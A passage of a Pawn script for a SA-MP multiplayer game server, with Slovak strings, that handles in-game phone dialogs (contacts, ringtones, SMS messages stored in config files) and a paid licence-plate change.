                strcat(nText2_QVX, "{ffff00}New");
               
                new mText1_vQA[128];
                format(mText1_vQA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vQA,nText2_QVX,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C2)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Mobil_ContactOptions, DIALOG_STYLE_LIST, "Možnosti kontaktu", "Napisať SMS zprávu\nVymazať", "OK", "Back");
            }

            if(response == 0)
            {
                new nText2_AQQ[1000],
                    N94[30][25],
                    pWAY_x[64]
                ;

                format(pWAY_x,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY_x, C_use) == 0) N94[c]=" ";

                    new GTqWe[64];
                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY_x, C_number));

                    if(dini_Int(pWAY_x, C_use) == 1) format(N94[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY_x, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_AQQ, sizeof(nText2_AQQ), "%s%s\n", nText2_AQQ, N94[i]);
                }
                strcat(nText2_AQQ, "{ffff00}New");

                new mText1_vRA[128];
                format(mText1_vRA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY_x, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vRA,nText2_AQQ,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C3)
        {
            new bool:ShowPlayerLastDialog=false;

            if(response == 1)
            {
                new PlayerMWAY[64];
                format(PlayerMWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new Cntct_way[64];
                format(Cntct_way,64, "SL/Server/MobilNumbers/%d.cfg", strval(inputtext));

                new bool:iscontactuse=false;

                for(new c=0; c<dini_Int(PlayerMWAY, "Contacts"); c++)
                {
                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(strval(inputtext) == dini_Int(PlayerMWAY, C_number)) iscontactuse=true;
                }

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Nezadal si číslo !\nZadaj číslo kontaktu:","OK","Back");
                else if(strlen(inputtext) != 9) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Neplatné číslo !\nZadaj číslo kontaktu:","OK","Back");
                else if(!dini_Exists(Cntct_way)) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Zadané číslo neexistuje !\nZadaj číslo kontaktu:","OK","Back");
                else if(iscontactuse == true) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Toto číslo už máš v adresári !\nZadaj číslo kontaktu:","OK","Back");
                else
                {
                    new nC_number[16];
                    new nC_use[16];

                    new newcntcts = dini_Int(PlayerMWAY, "Contacts");

                    format(nC_number,16, "C%d_number", newcntcts);
                    format(nC_use,16, "C%d_use", newcntcts);

                    dini_IntSet(PlayerMWAY, nC_number, strval(inputtext));
                    dini_IntSet(PlayerMWAY, nC_use, 1);

                    newcntcts++;
                    dini_IntSet(PlayerMWAY, "Contacts", newcntcts);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Kontakt bol uspesne ulozeny !", 2500);

                    ShowPlayerLastDialog=true;
                }
            }

              if(response == 0 || ShowPlayerLastDialog == true)
            {
                new nText2_AAL[1000],
                    N95[30][25],
                    pWAY_f4[64]
                ;

                format(pWAY_f4,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY_f4, C_use) == 0) N95[c]=" ";

                    new GTqWe[64];
                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY_f4, C_number));

                    if(dini_Int(pWAY_f4, C_use) == 1) format(N95[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY_f4, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_AAL, sizeof(nText2_AAL), "%s%s\n", nText2_AAL, N95[i]);
                }
                strcat(nText2_AAL, "{ffff00}New");

                new mText1_vRA[128];
                format(mText1_vRA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY_f4, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vRA,nText2_AAL,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_RT)
        {
            if(response == 1)
            {
                new mobil_way_RTQ[64];
                format(mobil_way_RTQ,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new musicid = NO_SOUND;

                if(listitem == 1) musicid = 1083;
                if(listitem == 2) musicid = 1097;
                if(listitem == 3) musicid = 1185;
                if(listitem == 4) musicid = 1183;
                if(listitem == 5) musicid = 1187;
                if(listitem == 6) musicid = 1062;
                if(listitem == 7) musicid = 1076;

                if(listitem > 0)
                {
                    if(Mobil[playerid][PlayingRingtone] == true)
                    {
                        PlayerPlaySound(playerid, NO_SOUND, 0,0,0);
                        Mobil[playerid][PlayingRingtone]=false;
                        KillTimer(Mobil[playerid][RingtoneTimer]);
                    }

                    if(Mobil[playerid][PlayingRingtone] == false)
                    {
                        PlayerPlaySound(playerid, musicid, 0,0,0);
                        Mobil[playerid][PlayingRingtone]=true;
                        Mobil[playerid][RingtoneTimer] = SetTimerEx("StopRingtone",5000,0,"i",playerid);
                    }
                }

                dini_IntSet(mobil_way_RTQ, "Ringtone", listitem);

                if(listitem == 0) FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Tvoj vyzvanaci ton bol uspesne nastaveny !", 3000);

                if(musicid != NO_SOUND) ShowPlayerDialog(playerid,Dialog_Mobil_RTL,DIALOG_STYLE_LIST,"{ffff00}Vyzvanáci tón - Dlžka vyzvaňania","3 sek\n5 sek\n7 sek\n10 sek\n15 sek\n20 sek","OK","Back");
            }

              if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_RTL)
        {
            if(response == 1)
            {
                new mobil_way_PRW[64];
                format(mobil_way_PRW,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                if(listitem == 0) dini_IntSet(mobil_way_PRW, "RT_Lenght", 3);
                if(listitem == 1) dini_IntSet(mobil_way_PRW, "RT_Lenght", 5);
                if(listitem == 2) dini_IntSet(mobil_way_PRW, "RT_Lenght", 7);
                if(listitem == 3) dini_IntSet(mobil_way_PRW, "RT_Lenght", 10);
                if(listitem == 4) dini_IntSet(mobil_way_PRW, "RT_Lenght", 15);
                if(listitem == 5) dini_IntSet(mobil_way_PRW, "RT_Lenght", 20);

                FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Tvoj vyzvanaci ton bol uspesne nastaveny !", 3000);
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_RT,DIALOG_STYLE_LIST,"{ffff00}Vyzvaňáci tón","Žiadny\nRingtone 1 (standard)\nRingtone 2\nRingtone 3\nRingtone 4\nRingtone 5\nRingtone 6\nRingtone 7","Zvolit","Back");
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_PZ1)
        {
            new pxd_way[64];
            format(pxd_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

            if(response == 1)
            {
                if(dini_Int(pxd_way, "Messages") > 0)
                {
                    Mobil[playerid][PZ_MessageNumber] = listitem;

                    //------------------------------------------------------------------------------------------------------------------

                    new msgway[64];
                    format(msgway,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    new MSG_text[16],
                        MSG_from[16],
                        MSG_read[16];

                    format(MSG_text,16, "MSG%d_text", Mobil[playerid][PZ_MessageNumber]);
                    format(MSG_from,16, "MSG%d_from", Mobil[playerid][PZ_MessageNumber]);
                    format(MSG_read,16, "MSG%d_read", Mobil[playerid][PZ_MessageNumber]);

                    new messagetext[200];
                    format(messagetext,200, "%s", dini_Get(msgway, MSG_text));
                   
                    StlipString(messagetext, 50);

                    new FromPlayerWay[50];
                    format(FromPlayerWay,50, "SL/Server/MobilNumbers/%d.cfg", dini_Int(msgway, MSG_from));

                    new FromPlayerName[21];
                    format(FromPlayerName,21, "%s", dini_Get(FromPlayerWay, "Majitel"));

                    new string2[275];
                    if(dini_Int(msgway, MSG_read)==0) format(string2,275,"{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), messagetext);
                    else format(string2,275,"{ffff00}Nová zpráva !\n\n{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), messagetext);

                    //------------------------------------------------------------------------------------------------------------------

                    ShowPlayerDialog(playerid, Dialog_Mobil_PZ2, DIALOG_STYLE_MSGBOX, "{ffff00}Prijaté zprávy", string2, "Možnosti", "Back");

                    dini_IntSet(msgway, MSG_read, 0);

                    Mobil[playerid][Save_MobilNumber] = dini_Int(msgway, MSG_from);
                }
            }

            if((response == 0) || (dini_Int(pxd_way, "Messages") <= 0))
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_MessageOptions)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    new string_NM2_3[256], TargetPlayerWay_3[64], TargetPlayerName_3[32];

                    format(TargetPlayerWay_3,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName_3,32, "%s", dini_Get(TargetPlayerWay_3, "Majitel"));
                    format(string_NM2_3,256, "{c5c5c5}Pre: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_3);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_3,"OK","Back");
                }

                if(listitem == 1)
                {
                    new from = Mobil[playerid][PZ_MessageNumber];

                    new mx5_way[64];
                    format(mx5_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new x=from; x<dini_Int(mx5_way, "Messages"); x++)
                    {
                        new MSG_text_A[16], MSG_text_B[16], MSG_from_A[16], MSG_from_B[16], MSG_read_A[16], MSG_read_B[16];

                        new xx = x+1;

                        format(MSG_text_A,16,"MSG%d_text", x);
                        format(MSG_text_B,16,"MSG%d_text", xx);

                        format(MSG_from_A,16 ,"MSG%d_from", x);
                        format(MSG_from_B,16 ,"MSG%d_from", xx);

                        format(MSG_read_A,16 ,"MSG%d_read", x);
                        format(MSG_read_B,16 ,"MSG%d_read", xx);

                        dini_Set   (mx5_way, MSG_text_A, dini_Get(mx5_way, MSG_text_B));
                        dini_IntSet(mx5_way, MSG_from_A, dini_Int(mx5_way, MSG_from_B));
                        dini_IntSet(mx5_way, MSG_read_A, dini_Int(mx5_way, MSG_read_B));
                    }

                    new newmsgs = dini_Int(mx5_way, "Messages");
                    newmsgs--;

                    dini_IntSet(mx5_way, "Messages", newmsgs);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Zprava bola uspesne zmazana !", 2000);
                }
            }

            if(response == 0)
            {
                new msgway[64];
                format(msgway,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new MSG_text[16],
                    MSG_from[16],
                    MSG_read[16];

                format(MSG_text,16, "MSG%d_text", Mobil[playerid][PZ_MessageNumber]);
                format(MSG_from,16, "MSG%d_from", Mobil[playerid][PZ_MessageNumber]);
                format(MSG_read,16, "MSG%d_read", Mobil[playerid][PZ_MessageNumber]);

                new messagetext[256];
                format(messagetext,256, "%s", dini_Get(msgway, MSG_text));

                new line0[51],
                    line1[51],
                    line2[51]
                ;
                                             format(line0, 51, "%s", messagetext);
                if(strlen(messagetext)>=50)  format(line1, 51, "%s", messagetext[50]);
                if(strlen(messagetext)>=100) format(line2, 51, "%s", messagetext[100]);

                new string[256];

                     if(strlen(messagetext) >= 100) format(string,256,"%s\n%s\n%s", line0, line1, line2);
                else if(strlen(messagetext) >= 50)  format(string,256,"%s\n%s", line0, line1);
                else if(strlen(messagetext) < 50)   format(string,256,"%s", line0);

                new FromPlayerWay[64];
                format(FromPlayerWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(msgway, MSG_from));

                new FromPlayerName[21];
                format(FromPlayerName,21, "%s", dini_Get(FromPlayerWay, "Majitel"));

                new string2[256];
                     if(dini_Int(msgway, MSG_read)==0) format(string2,256,"{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), string);
                else if(dini_Int(msgway, MSG_read)==1) format(string2,256,"{ffff00}Nová zpráva !\n\n{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), string);

                ShowPlayerDialog(playerid,Dialog_Mobil_PZ2,DIALOG_STYLE_MSGBOX,"{ffff00}Prijaté zprávy", string2, "Možnosti", "Back");

                dini_IntSet(msgway, MSG_read, 0);

                Mobil[playerid][Save_MobilNumber] = dini_Int(msgway, MSG_from);
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_PZ2)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Mobil_MessageOptions, DIALOG_STYLE_LIST, "Možnosti správy", "Odpovedať\nVymazať", "OK", "Back");
            }

            if(response == 0)
            {
                new m_way_f001[64];
                format(m_way_f001,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                 new MSGTxt[25][55];

                 new msgs = dini_Int(m_way_f001, "Messages");

                for(new m=0; m<msgs; m++)
                {
                    new MSGWay[64];
                    new messagetext[20];

                    new MSG_from[16];
                    format(MSG_from,16, "MSG%d_from", m);

                    if(dini_Int(m_way, MSG_from) != 0) format(MSGWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(m_way_f001, MSG_from));

                    new MSG_read[16];
                    format(MSG_read,16, "MSG%d_read", m);

                    new MSG_text[16];
                    format(MSG_text,16, "MSG%d_text", m);

                    format(messagetext, 20, "%s", dini_Get(m_way_f001, MSG_text));

                    if(strlen(dini_Get(m_way_f001, MSG_text)) >= 19)
                    {
                        if(dini_Int(m_way, MSG_read) == 1) format(MSGTxt[m], 80, "{ff0000}* New: %s: %s...", dini_Get(MSGWay, "Majitel"), messagetext);
                        else format(MSGTxt[m], 55, "%s: {ffff70}%s...", dini_Get(MSGWay, "Majitel"), messagetext);
                    }
                    else
                    {
                        if(dini_Int(m_way, MSG_read) == 1) format(MSGTxt[m], 80, "{ff0000}* New: %s: %s", dini_Get(MSGWay, "Majitel"), messagetext);
                        else format(MSGTxt[m], 55, "%s: {ffff70}%s", dini_Get(MSGWay, "Majitel"), messagetext);
                    }
                }

                new mText1[128];
                format(mText1,128,"{ffff00}Prijaté zprávy (%d/25)", dini_Int(m_way, "Messages"));

                if(msgs<=0) return ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,"{ff0000}Nemáš žiadne zprávy !","Back","");

                for(new i=0; i<msgs; i++)
                {
                    format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, MSGTxt[i]);
                }

                ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,gBIGSTRING,"Prečitať","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM1)
        {
            if(response == 1)
            {
                new m8_way[64];
                format(m8_way,64,"SL/Server/MobilNumbers/%d.cfg", strval(inputtext));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Nezadal si číslo !\nZadaj číslo príjemcu","OK","Back");
                else if(strlen(inputtext) != 6) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Neplatné číslo !\nZadaj číslo príjemcu","OK","Back");
                else if(!dini_Exists(m8_way)) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Zadané číslo neexistuje !\nZadaj číslo príjemcu","OK","Back");
                else
                {
                    Mobil[playerid][Save_MobilNumber] = strval(inputtext);

                    new string_NM2[256], TargetPlayerWay[64], TargetPlayerName[32];

                    format(TargetPlayerWay,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName,32, "%s", dini_Get(TargetPlayerWay, "Majitel"));
                    format(string_NM2,256, "{c5c5c5}Pre: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2,"OK","Back");
                }
            }

            if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff70}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM2)
        {
            if(response == 1)
            {
                new string_NM2_2[256], TargetPlayerWay_2[64], TargetPlayerName_2[32];

                format(TargetPlayerWay_2,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                format(TargetPlayerName_2,32, "%s", dini_Get(TargetPlayerWay_2, "Majitel"));

                if(!strlen(inputtext))
                {
                    format(string_NM2_2,256, "{ff0000}Nezadal si text !\n\n{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_2);
                    return ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_2,"OK","Back");
                }
                else if(strlen(inputtext) > 150)
                {
                    format(string_NM2_2,256, "{ff0000}Maximálne 150 znakok !\n\n{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_2);
                    return ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_2,"OK","Back");
                }
                else
                {
                    new line0[51],
                        line1[51],
                        line2[51]
                    ;
                                               format(line0, 51, "%s", inputtext);
                    if(strlen(inputtext)>=50)  format(line1, 51, "%s", inputtext[50]);
                    if(strlen(inputtext)>=100) format(line2, 51, "%s", inputtext[100]);

                    new string[256];

                         if(strlen(inputtext) >= 100) format(string,256,"%s\n%s\n%s", line0, line1, line2);
                    else if(strlen(inputtext) >= 50)  format(string,256,"%s\n%s", line0, line1);
                    else if(strlen(inputtext) < 50)   format(string,256,"%s", line0);

                    new f00A[256];
                    format(f00A, 256, "%s", inputtext);
                    Mobil[playerid][Save_Text] = f00A;

                    new toway[64];
                    format(toway,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);

                    new string2[256];
                    format(string2,256,"{ffff00}Tvar zprávy:\n\n{c5c5c5}Pro: {ffff70}%s <%d>\n\n{c5c5c5}%s", dini_Get(toway,"Majitel"), Mobil[playerid][Save_MobilNumber], string);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM3,DIALOG_STYLE_MSGBOX,"{ffff00}Nová zpráva",string2,"Poslat","Back");
                }
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj číslo príjemcu","OK","Back");
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM3)
        {
            if(response == 1)
            {
                new m9_way[64];
                format(m9_way,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);

                for(new x=10; x>=1; x--)
                {
                    new xo1[16], xo2[16], xo3[16], xn1[16], xn2[16], xn3[16];

                    new xx = (x-1);

                    format(xo1,16,"MSG%d_text", x);
                    format(xn1,16,"MSG%d_text", xx);

                    format(xo2,16 ,"MSG%d_from", x);
                    format(xn2,16 ,"MSG%d_from", xx);

                    format(xo3,16 ,"MSG%d_read", x);
                    format(xn3,16 ,"MSG%d_read", xx);

                    dini_Set   (m9_way, xo1, dini_Get(m9_way, xn1));
                    dini_IntSet(m9_way, xo2, dini_Int(m9_way, xn2));
                    dini_IntSet(m9_way, xo3, dini_Int(m9_way, xn3));
                }

                dini_Set   (m9_way, "MSG0_text", Mobil[playerid][Save_Text]);
                dini_IntSet(m9_way, "MSG0_from", Mobil[playerid][MobilNumber]);
                dini_IntSet(m9_way, "MSG0_read", 1);

                if(dini_Int(m9_way,"Messages")<11) dini_IntSet(m9_way, "Messages", (dini_Int(m9_way,"Messages")+1));

                FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Zprava bola uspesne odoslana !", 3000);

                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);
                format(gBIGSTRING,sizeof(gBIGSTRING),"{ff0000}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));

                ShowPlayerDialog(playerid, Dialog_Mobil_menu, DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");

                //-------------------

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][Logged] == true)
                            {
                                if(Mobil[i][MobilNumber] == Mobil[playerid][Save_MobilNumber])
                                {
                                    if(Mobil[i][PlayingRingtone] == false)
                                    {
                                        new iM_WAY[64];
                                        format(iM_WAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[i][MobilNumber]);

                                        if(dini_Int(iM_WAY, "Ringtone") > 0)
                                        {
                                            if(dini_Int(iM_WAY, "Ringtone") == 1) PlayerPlaySound(i, 1083, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 2) PlayerPlaySound(i, 1097, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 3) PlayerPlaySound(i, 1185, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 4) PlayerPlaySound(i, 1183, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 5) PlayerPlaySound(i, 1187, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 6) PlayerPlaySound(i, 1062, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 7) PlayerPlaySound(i, 1076, 0,0,0);

                                            Mobil[i][PlayingRingtone]=true;
                                            Mobil[i][RingtoneTimer] = SetTimerEx("StopRingtone", (dini_Int(iM_WAY, "RT_Lenght")*1000), 0, "i", i);

                                            ///////////////////////////////

                                            new mobil_way_D01W[64];
                                            format(mobil_way_D01W,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[i][MobilNumber]);

                                            new messages=0;

                                            for(new m=0; m<11; m++)
                                            {
                                                new MSG_read[16];
                                                format(MSG_read,16, "MSG%d_read", m);
                                                if(dini_Int(mobil_way_D01W, MSG_read) == 1) messages++;
                                            }

                                            if(messages > 0)
                                            {
                                                new mobil_msg_String[128];

                                                     if(messages >= 5) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ novych zprav !", messages);
                                                else if(messages >  1) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ nove zpravy !", messages);
                                                else if(messages == 1) format(mobil_msg_String,128,"~w~Mas ~y~1~w~ novu zpravu !");

                                                FormatPlayerInfoBox(i, "~g~Mobil", mobil_msg_String, 3500);
                                            }
                                        }
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj text zprávy:","OK","Back");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_ChangeSPZ)
        {
            if(response == 1)
            {
                if(IsPlayerInAnyVehicle(playerid))
                {
                    if(!strlen(inputtext)) ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Nezadal si text !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else if(strlen(inputtext)>9) ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Maximálne 9 znako !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<10000) return ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Nemáš 10 000$ !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else
                    {
                        new vehicleid = GetPlayerVehicleID(playerid);

                        new string[128];
                        format(string,128,"Tvoja nová ŠPZ-ka je: {ff0000}%s",inputtext);
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",string,"OK","Cancel");

                        SetVehicleNumberPlate(vehicleid,inputtext);

                        new Float:vx, Float:vy, Float:vz, Float:va;
                        GetVehiclePos(vehicleid, vx, vy, vz);
                        GetVehicleZAngle(vehicleid, va);
                        SetVehicleToRespawn(vehicleid);
                        SetVehiclePos(vehicleid, vx, vy, vz);
                        SetVehicleZAngle(vehicleid, va);
                        PutPlayerInVehicle(playerid, vehicleid, 0);

                        GivePlayerACMoney(playerid,-10000);

                        if(Player[playerid][HouseP]!=9999)
                        {
                            for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                            {
                                if(Car_State[s][Player[playerid][HouseP]] == true)
                                {
                                    if(GetPlayerVehicleID(playerid) == Car[s][Player[playerid][HouseP]])
                                    {
                                        new way2[32];
                                        format(way2,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);
                                        new v_spz[16];
                                        format(v_spz, 16, "V%d_spz", s);
                                        dini_Set(way2, v_spz, inputtext);

                                        return 0;
                                    }
                                }
                            }
                        }
                       
                        if(Player[playerid][ClanP]!=9999)
                        {
                            for(new s=0; s<5; s++)
                            {
                                if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                {
                                    if(GetPlayerVehicleID(playerid) == ClanVehicle[s][Player[playerid][ClanP]])
                                    {
                                        new way3[64];
                                        format(way3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);
                                        new v_spz[16];
                                        format(v_spz, 16, "V%d_spz", s);
                                        dini_Set(way3, v_spz, inputtext);

                                        return 0;
                                    }
                                }
                            }
                        }
                       
                        for(new s=0; s<5; s++)
                        {
                            if(PlayerVehicle_State[s][playerid] == true)
                            {
                                if(GetPlayerVehicleID(playerid) == PlayerVehicle[s][playerid])
                                {
                                    new way4[32], Name[24];
                                    GetPlayerName(playerid, Name, 24);
                                    format(way4,32,"SL/%s.cfg", Name);
                                    new v_spz[16];
                                    format(v_spz, 16, "V%d_spz", s);
                                    dini_Set(way4, v_spz, inputtext);

                                    return 0;
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_VIP_Car)
        {
            if(response == 1)
            {
